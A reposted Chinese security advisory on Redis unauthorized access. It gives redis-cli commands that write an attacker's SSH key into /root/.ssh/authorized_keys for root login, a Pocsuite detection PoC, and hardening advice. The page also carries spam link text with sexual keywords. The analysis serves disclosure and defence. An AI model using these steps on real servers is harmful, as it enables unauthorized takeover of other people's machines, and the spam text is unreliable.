一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務(wù)器之家:專注于服務(wù)器技術(shù)及軟件下載分享
分類導(dǎo)航

Mysql|Sql Server|Oracle|Redis|MongoDB|PostgreSQL|Sqlite|DB2|mariadb|Access|數(shù)據(jù)庫(kù)技術(shù)|

服務(wù)器之家 - 數(shù)據(jù)庫(kù) - Redis - Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

2019-11-16 17:38daisy Redis

這篇文章主要給大家介紹了關(guān)于Redis未授權(quán)訪問(wèn)配合SSH key文件利用的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

前言

Redis是一個(gè)開源的使用ANSI C語(yǔ)言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫(kù),并提供多種語(yǔ)言的API。

Redis 未授權(quán)訪問(wèn)的問(wèn)題是一直存在的問(wèn)題,知道創(chuàng)宇安全研究團(tuán)隊(duì)歷史上也做過(guò)相關(guān)的應(yīng)急,今日,又出現(xiàn) Redis 未授權(quán)訪問(wèn)配合 SSH key 文件被利用的情況,導(dǎo)致一大批 Redis 服務(wù)器被黑,今天我們來(lái)簡(jiǎn)要的分析下。

一、漏洞概述

Redis 默認(rèn)情況下,會(huì)綁定在 0.0.0.0:6379,這樣將會(huì)將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有開啟認(rèn)證的情況下,可以導(dǎo)致任意用戶在可以訪問(wèn)目標(biāo)服務(wù)器的情況下未授權(quán)訪問(wèn) Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問(wèn) Redis 的情況下可以利用 Redis 的相關(guān)方法,可以成功在 Redis 服務(wù)器上寫入公鑰,進(jìn)而可以使用對(duì)應(yīng)私鑰直接登錄目標(biāo)服務(wù)器。

1、漏洞描述

Redis 安全模型的觀念是: “請(qǐng)不要將 Redis 暴露在公開網(wǎng)絡(luò)中, 因?yàn)樽尣皇苄湃蔚目蛻艚佑|到 Redis 是非常危險(xiǎn)的” 。

Redis 作者之所以放棄解決未授權(quán)訪問(wèn)導(dǎo)致的不安全性是因?yàn)? 99.99% 使用 Redis 的場(chǎng)景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時(shí)也增加了復(fù)雜性, 雖然這個(gè)問(wèn)題的并不是不能解決的, 但是這在他的設(shè)計(jì)哲學(xué)中仍是不劃算的。

因?yàn)槠渌苄湃斡脩粜枰褂?Redis 或者因?yàn)檫\(yùn)維人員的疏忽等原因,部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認(rèn)證(這是Redis 的默認(rèn)配置),如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來(lái)源 ip 訪問(wèn)等,將會(huì)導(dǎo)致 Redis 服務(wù)直接暴露在公網(wǎng)上,導(dǎo)致其他用戶可以直接在非授權(quán)情況下直接訪問(wèn)Redis服務(wù)并進(jìn)行相關(guān)操作。

利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接使用對(duì)應(yīng)的私鑰登錄目標(biāo)服務(wù)器。

2、漏洞影響

Redis 暴露在公網(wǎng)(即綁定在0.0.0.0:6379,目標(biāo)IP公網(wǎng)可訪問(wèn)),并且沒有開啟相關(guān)認(rèn)證和添加相關(guān)安全策略情況下可受影響而導(dǎo)致被利用。

通過(guò)ZoomEye 的搜索結(jié)果顯示,有97707在公網(wǎng)可以直接訪問(wèn)的Redis服務(wù)。

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

根據(jù) ZoomEye 的探測(cè),全球無(wú)驗(yàn)證可直接利用Redis 分布情況如下:

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

全球無(wú)驗(yàn)證可直接利用Redis TOP 10國(guó)家與地區(qū):

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

3、漏洞分析與利用

首先在本地生產(chǎn)公私鑰文件:

?
1
$ssh-keygen –t rsa

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

然后將公鑰寫入 foo.txt 文件

?
1
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再連接 Redis 寫入文件

?
1
2
3
4
5
6
7
8
9
10
11
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執(zhí)行:

?
1
$ ssh –i id_rsa [email protected]

即可遠(yuǎn)程利用自己的私鑰登錄該服務(wù)器。

當(dāng)然,寫入的目錄不限于 /root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過(guò) Redis 很多以 root 權(quán)限運(yùn)行,所以寫入 root 目錄下,可以跳過(guò)猜用戶的步驟。

4、Redis 未授權(quán)的其他危害與利用

a)數(shù)據(jù)庫(kù)數(shù)據(jù)泄露

Redis 作為數(shù)據(jù)庫(kù),保存著各種各樣的數(shù)據(jù),如果存在未授權(quán)訪問(wèn)的情況,將會(huì)導(dǎo)致數(shù)據(jù)的泄露,其中包含保存的用戶信息等。

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

b)代碼執(zhí)行

Redis可以嵌套Lua腳本的特性將會(huì)導(dǎo)致代碼執(zhí)行, 危害同其他服務(wù)器端的代碼執(zhí)行, 樣例如下        一旦攻擊者能夠在服務(wù)器端執(zhí)行任意代碼, 攻擊方式將會(huì)變得多且復(fù)雜, 這是非常危險(xiǎn)的.

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

通過(guò)Lua代碼攻擊者可以調(diào)用 redis.sha1hex() 函數(shù),惡意利用 Redis 服務(wù)器進(jìn)行 SHA-1 的破解。

c)敏感信息泄露

通過(guò) Redis 的 INFO 命令, 可以查看服務(wù)器相關(guān)的參數(shù)和敏感信息, 為攻擊者的后續(xù)滲透做鋪墊。

Redis未授權(quán)訪問(wèn)配合SSH key文件利用詳解

可以看到泄露了很多 Redis 服務(wù)器的信息, 有當(dāng)前 Redis 版本, 內(nèi)存運(yùn)行狀態(tài), 服務(wù)端個(gè)數(shù)等等敏感信息。

5、漏洞驗(yàn)證

可以使用Pocsuite(http://github.com/knownsec/pocsuite)執(zhí)行以下的代碼可以用于測(cè)試目標(biāo)地址是否存在未授權(quán)的Redis服務(wù)。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding:utf-8 -*-
 
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
 
 
class TestPOC(POCBase):
 vulID = '89339'
 version = '1'
 author = ['Anonymous']
 vulDate = '2015-10-26'
 createDate = '2015-10-26'
 updateDate = '2015-10-26'
 references = ['http://sebug.net/vuldb/ssvid-89339']
 name = 'Redis 未授權(quán)訪問(wèn) PoC'
 appPowerLink = 'http://redis.io/'
 appName = 'Redis'
 appVersion = 'All'
 vulType = 'Unauthorized access'
 desc = '''
  redis 默認(rèn)不需要密碼即可訪問(wèn),黑客直接訪問(wèn)即可獲取數(shù)據(jù)庫(kù)中所有信息,造成嚴(yán)重的信息泄露。
 '''
 samples = ['']
 
 def _verify(self):
  result = {}
  payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
  s = socket.socket()
  socket.setdefaulttimeout(10)
  try:
   host = urlparse.urlparse(self.url).netloc
   port = 6379
   s.connect((host, port))
   s.send(payload)
   recvdata = s.recv(1024)
   if recvdata and 'redis_version' in recvdata:
    result['VerifyInfo'] = {}
    result['VerifyInfo']['URL'] = self.url
    result['VerifyInfo']['Port'] = port
  except:
   pass
  s.close()
  return self.parse_attack(result)
 
 def _attack(self):
  return self._verify()
 
 def parse_attack(self, result):
  output = Output(self)
  if result:
   output.success(result)
  else:
   output.fail('Internet nothing returned')
  return output
 
register(TestPOC)

二、安全建議

配置bind選項(xiàng),限定可以連接Redis服務(wù)器的IP,修改 Redis 的默認(rèn)端口6379

配置認(rèn)證,也就是AUTH,設(shè)置密碼,密碼會(huì)以明文方式保存在Redis配置文件中

配置rename-command 配置項(xiàng) “RENAME_CONFIG”,這樣即使存在未授權(quán)訪問(wèn),也能夠給攻擊者使用config 指令加大難度

好消息是Redis作者表示將會(huì)開發(fā)”real user”,區(qū)分普通用戶和admin權(quán)限,普通用戶將會(huì)被禁止運(yùn)行某些命令,如config

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,如果有疑問(wèn)大家可以留言交流,謝謝大家對(duì)服務(wù)器之家的支持。

原文鏈接:http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

延伸 · 閱讀

精彩推薦
  • Redisredis中如何使用lua腳本讓你的靈活性提高5個(gè)逼格詳解

    redis中如何使用lua腳本讓你的靈活性提高5個(gè)逼格詳解

    這篇文章主要給大家介紹了關(guān)于redis中如何使用lua腳本讓你的靈活性提高5個(gè)逼格的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具...

    一線碼農(nóng)5812019-11-18
  • RedisRedis全量復(fù)制與部分復(fù)制示例詳解

    Redis全量復(fù)制與部分復(fù)制示例詳解

    這篇文章主要給大家介紹了關(guān)于Redis全量復(fù)制與部分復(fù)制的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用Redis爬蟲具有一定的參考學(xué)習(xí)...

    豆子先生5052019-11-27
  • RedisRedis 事務(wù)知識(shí)點(diǎn)相關(guān)總結(jié)

    Redis 事務(wù)知識(shí)點(diǎn)相關(guān)總結(jié)

    這篇文章主要介紹了Redis 事務(wù)相關(guān)總結(jié),幫助大家更好的理解和學(xué)習(xí)使用Redis,感興趣的朋友可以了解下...

    AsiaYe8232021-07-28
  • Redisredis 交集、并集、差集的具體使用

    redis 交集、并集、差集的具體使用

    這篇文章主要介紹了redis 交集、并集、差集的具體使用,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友...

    xiaojin21cen10152021-07-27
  • RedisRedis如何實(shí)現(xiàn)數(shù)據(jù)庫(kù)讀寫分離詳解

    Redis如何實(shí)現(xiàn)數(shù)據(jù)庫(kù)讀寫分離詳解

    Redis的主從架構(gòu),能幫助我們實(shí)現(xiàn)讀多,寫少的情況,下面這篇文章主要給大家介紹了關(guān)于Redis如何實(shí)現(xiàn)數(shù)據(jù)庫(kù)讀寫分離的相關(guān)資料,文中通過(guò)示例代碼介紹...

    羅兵漂流記6092019-11-11
  • RedisRedis的配置、啟動(dòng)、操作和關(guān)閉方法

    Redis的配置、啟動(dòng)、操作和關(guān)閉方法

    今天小編就為大家分享一篇Redis的配置、啟動(dòng)、操作和關(guān)閉方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧 ...

    大道化簡(jiǎn)5312019-11-14
  • Redisredis實(shí)現(xiàn)排行榜功能

    redis實(shí)現(xiàn)排行榜功能

    排行榜在很多地方都能使用到,redis的zset可以很方便地用來(lái)實(shí)現(xiàn)排行榜功能,本文就來(lái)簡(jiǎn)單的介紹一下如何使用,具有一定的參考價(jià)值,感興趣的小伙伴們...

    乘月歸5022021-08-05
  • Redis詳解Redis復(fù)制原理

    詳解Redis復(fù)制原理

    與大多數(shù)db一樣,Redis也提供了復(fù)制機(jī)制,以滿足故障恢復(fù)和負(fù)載均衡等需求。復(fù)制也是Redis高可用的基礎(chǔ),哨兵和集群都是建立在復(fù)制基礎(chǔ)上實(shí)現(xiàn)高可用的...

    李留廣10222021-08-09
主站蜘蛛池模板: 催眠 迷j系列小说 | 四虎影视在线影院在线观看 | 日韩亚洲欧美综合一区二区三区 | 国产成人精品综合在线观看 | 精品在线看 | 久久久久久久久a免费 | 久久全国免费久久青青小草 | 亚洲精品综合一二三区在线 | 美女gif跪趴式抽搐动态图 | 色婷婷久久综合中文久久一本` | sese在线播放 | 国产精品香蕉夜间视频免费播放 | 男人在女人下面狂躁 | 日本又黄又裸一级大黄裸片 | 男人女人日批 | 精品视频日本 | 青青草精品在线观看 | 操一操影院 | 石原莉奈adn093店长未婚妻 | 青青草亚洲 | 青柠在线完整高清观看免费 | 美女的让男人桶爽30分钟的 | 亚洲欧洲日产国码无码av | 四虎永久在线精品波多野结衣 | 女明星放荡高h日常生活 | 久久精品国产久精国产果冻传媒 | 香蕉视频在线观看网站 | 午夜久久久久久亚洲国产精品 | 日韩精品一区二区 | 成人影院在线观看 | 草莓香蕉绿巨人丝瓜榴莲污在线观看 | 日韩精品在线视频观看 | 天天av天天翘天天综合网 | 国产一卡2卡3卡四卡精品网 | 无人区乱码区1卡2卡三卡在线 | 国产91精品在线播放 | 亚洲国产精品综合福利专区 | 日本中文字幕在线视频 | 久久精品中文闷骚内射 | 2021小妲己永久回家地址 | 欧美影院一区二区三区 |